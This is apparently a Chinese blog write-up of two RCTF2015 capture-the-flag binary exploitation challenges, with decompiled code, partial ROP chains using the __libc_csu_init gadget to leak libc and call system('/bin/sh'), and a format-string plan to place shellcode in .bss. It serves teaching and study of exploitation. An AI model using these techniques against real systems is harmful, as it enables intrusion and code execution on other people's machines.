zoukankan      html  css  js  c++  java
  • RCTF2015 pwn试题分析

    pwn200

    漏洞给的很明显,先是读到了main的局部数组中,然后在子函数中向子函数的局部数组栈里复制。

    总体思路是leak system的地址,然后再向一个固定地址写入/bin/sh,最后执行system函数

    leak使用pwn库的DynELF实现,整体使用rop链。

     1 //ida伪代码
     2 int __fastcall echo(__int64 a1)
     3 {
     4   char s2[16]; // [sp+10h] [bp-10h]@2
     5 
     6   for ( i = 0; *(_BYTE *)(i + a1); ++i )
     7     s2[i] = *(_BYTE *)(i + a1);
     8   s2[i] = 0;
     9   if ( !strcmp("ROIS", s2) )
    10   {
    11     printf("RCTF{Welcome}", s2);
    12     puts(" is not flag");
    13   }
    14   return printf("%s", s2);
    15 }

    这里是把数据复制过来,但是他的判断条件是byte!='x00',就是说如果有'x00'就会停止复制。

    这个就很蛋疼,因为肯定会有00啊。00这个是无法避免的。

    先说一下,这道题是x64环境+nx保护。就是说可以用通用gadget来实现rop的。

    如果不考虑那个截断的事情的话exp是这样的,

    exp='A'*24

    exp+=p64(0x40089A) # __libc_csu_init中的通用gadget,pop6ret

    exp+=p64(0) #令pop rbx为0,使得call正确执行

    exp+=p64(1) #令pop rbp为1,为了cmp比较能得到相等的结果

    exp+=p64(write@got) #pop r12 这个决定了之后call的内容,为啥用got表,因为plt里面是指令啊,不能取的。

    exp+=p64(8) #pop r13 3号参数了

    exp+=p64(leak adress)#pop r14 2号参数了

    exp+=p64(1)#pop r15 1号参数了    

    exp+=p64(0x0400880)#这个就跳去执行call了

    exp+='A' * 56 #这是共抬了56个字节的栈

    exp+=p64(0x4007cd) #从头开始了

    上面那个就是正常的利用__libc_csu_init的通用跳板进行rop的方法。我们看一下这样行不行?明显不行会断在exp+=p64(0)这里。但是由于main栈里也有,就再构造一个pop4ret去读main的栈了。

    这样就可以成功的不受'x00'限制了。不过我觉得这个应该是设计的比较好,因为如果距离不是32字节是96字节怎么办?不会有pop12ret吧?

    接下来的任务就是构造rop链,实现写入/bin/sh和执行sysem了,这时假设我们已经leak出system的地址了。

    exp='A'*24

    exp+=p64(0x40089A) # __libc_csu_init中的通用gadget,pop6ret

    exp+=p64(0) #令pop rbx为0,使得call正确执行

    exp+=p64(1) #令pop rbp为1,为了cmp比较能得到相等的结果

    exp+=p64(system) #pop r12 这个决定了之后call的内容,为啥用got表,因为plt里面是指令啊,不能取的。

    exp+=p64(8) #pop r13 3号参数了

    exp+=p64(save adress)#pop r14 2号参数了

    exp+=p64(1)#pop r15 1号参数了    

    exp+=p64(0x0400880)#这个就跳去执行call了

    exp+='A' * 56 #这是共抬了56个字节的栈

    exp+=p64(0x4007cd)# 可见套路都是一样的

    注意要把leak 出来的system写到一个可知的地址才可以使用。

    最后再来一遍

    exp='A'*24

    exp+=p64(0x40089A) # __libc_csu_init中的通用gadget,pop6ret

    exp+=p64(0) #令pop rbx为0,使得call正确执行

    exp+=p64(1) #令pop rbp为1,为了cmp比较能得到相等的结果

    exp+=p64(save adress) #pop r12 这个决定了之后call的内容,为啥用got表,因为plt里面是指令啊,不能取的。

    exp+=p64(0) #pop r13 3号参数了

    exp+=p64(0)#pop r14 2号参数了

    exp+=p64(save adress+8)#pop r15 1号参数了    

    exp+=p64(0x0400880)#这个就跳去执行call了

    exp+='A' * 56 #这是共抬了56个字节的栈

    exp+=p64(0x4007cd)# 可见套路都是一样的

     下面来实际的调试一下,用gdb加载程序,在0x400750处下断点,这是复制的指令,在这里可以看到复制在栈中的起点,不要相信IDA的栈结构那个是不准的,得自己调试来看。

    由图可知要3*8=24byte。再来确定下main函数的buf的位置距离这里有多远。发现其实就在紧接着栈顶的地方。那么我们就要构造rop去生成一个leak函数了。首先找一下可以使用的rop指令

    由图就可以看出来,其实能用的只有0x40089A这么一个地方。x64参数不是用栈传的而是用寄存器传的,那么就该用我们上面说的所谓的gadgets了。http://www.cnblogs.com/Ox9A82/p/5487725.html 这里写了如何使用,上面也描述了,我们直接上。

    'A'*24+

    p64(POP4RET)+ #为了跳过上面那24个A+这个本身

    P64(gad1)+ #0x40089A

    p64(0)+

    p64(1)+

    p64(puts)+

    p64(0)+

    p64(0)+

    p64(address)+

    p64(gad2)+ #0x400880

    'A'*56+

    p64(main)

    pwn300

    这是个格式化字符串的题。但是,不是常见的那种格式化字符串漏洞。首先,格式化字符串是存在堆里的,没有办法直接去读格式化串。其次,每次触发格式化函数都执行了一次,没有办法在栈里构造跳板。

    但是也有优点,就是会往一个bss段里读入数据,如果是想构造/bin/sh还是很方便的。

    由于不能读到格式化串,所以就无法实现任意地址写入。

    这是执行到触发格式化字符串漏洞的函数时的完整栈帧情况。

    可见,这时栈里没有什么搞头。如果可以连续执行两次漏洞函数,那么就可以利用0xbffff44c这个值在栈里构造跳板,但是这里只能执行一次栈帧就释放了,不可能构造跳板。

    然后,我就不知道怎么做了= =

    看了一波六星的writeup,他是这么写的

    上图是复旦六星的writeup。

    它的意思是还是要在栈上构造一个跳板。但是这需要在此函数中有两次调用漏洞函数的机会。

    这是怎么回事呢?我先理一理,这个程序用push ret写法搞的很讨厌,因为F5后不能清晰的看到流程,搞的很乱。

    理一下程序流程:

    1. 循环:获取输入(到.bss:0804A0A0 ; char s[2048])
    2. 循环:进行解码
    3. 循环:解密结果输出到bss段(.bss:0804A8A0 ; char byte_804A8A0[2048])
    4. 循环:进行解码
    5. 循环:触发漏洞函数
    6. 循环:输出bss段的结果

    可见bss段适合放一些/bin/sh这类的乱七八糟的东西。

    但是怎么劫持eip呢?这么一看还真是在栈中构造跳板,我之前说只调用一次栈帧就释放了。居然没想到利用main函数的栈帧。。。。

    这就十分尴尬了。但是还有问题就是栈的位置怎么确定?leak是可以看到的栈的位置的但是感觉太麻烦。但是。。。。好像也只能leak了啊~

    因为要写地址进去的,不获取栈的准确地址是不可能的。而且这不是缓冲区溢出那种漏洞可以构造rop链的,就是说既使我控制了eip也不能够实现控制参数,那索性就直接把shellcode写入bss段中了,(注意,这道题没有NX保护,故可以在bss段里执行shellcode

    直接蹦过去执行算了。

    那么思路就是:

    1.构造leak栈地址的格式化符,发送过去

    2.在main函数的栈帧用接收的leak地址构造跳板

    3.把shellcode做base64加密传进去,使shellcode存在于bss段中

    4.最后构造使用跳板的格式化串,修改返回地址到bss段的shellcode中。

    这样有一个问题就是shellcode会被盖住一部分,我想只要错开一个偏移应该就可以了吧。

    最蛋疼的是六星居然没有放exp出来,网上也搜不到这道题的exp,为了验证自己的想法只好自己写了。

    以下是详细的解题过程,首先看下call    _snprintf时栈的情况,如下图所示。我们要做的就是先向红圈地址写入0xbffff0c8。作为跳板来改变返回地址。

    那这里使用的就是"%134520872x%20$n",根据程序设定进行base64后是。

    这里写一些welpwn的exp编写过程,首先考虑的是跳到主函数的栈祯中执行。在IDA中搜索pop指令,找到如下一处位置

    .text:000000000040089A                 pop     rbx
    .text:000000000040089B                 pop     rbp
    .text:000000000040089C                 pop     r12
    .text:000000000040089E                 pop     r13
    .text:00000000004008A0                 pop     r14
    .text:00000000004008A2                 pop     r15
    .text:00000000004008A4                 retn

    对.text:00000000004007CC                 retn下断点,看下返回时堆栈距离main有多远。

  • 相关阅读:
    octotree神器 For Github and GitLab 火狐插件
    实用篇如何使用github(本地、远程)满足基本需求
    PPA(Personal Package Archives)简介、兴起、使用
    Sourse Insight使用过程中的常使用功能简介
    Sourse Insight使用教程及常见的问题解决办法
    github 遇到Permanently added the RSA host key for IP address '192.30.252.128' to the list of known hosts问题解决
    二叉查找树的C语言实现(一)
    初识内核链表
    container_of 和 offsetof 宏详解
    用双向链表实现一个栈
  • 原文地址:https://www.cnblogs.com/Ox9A82/p/5488002.html
Copyright © 2011-2022 走看看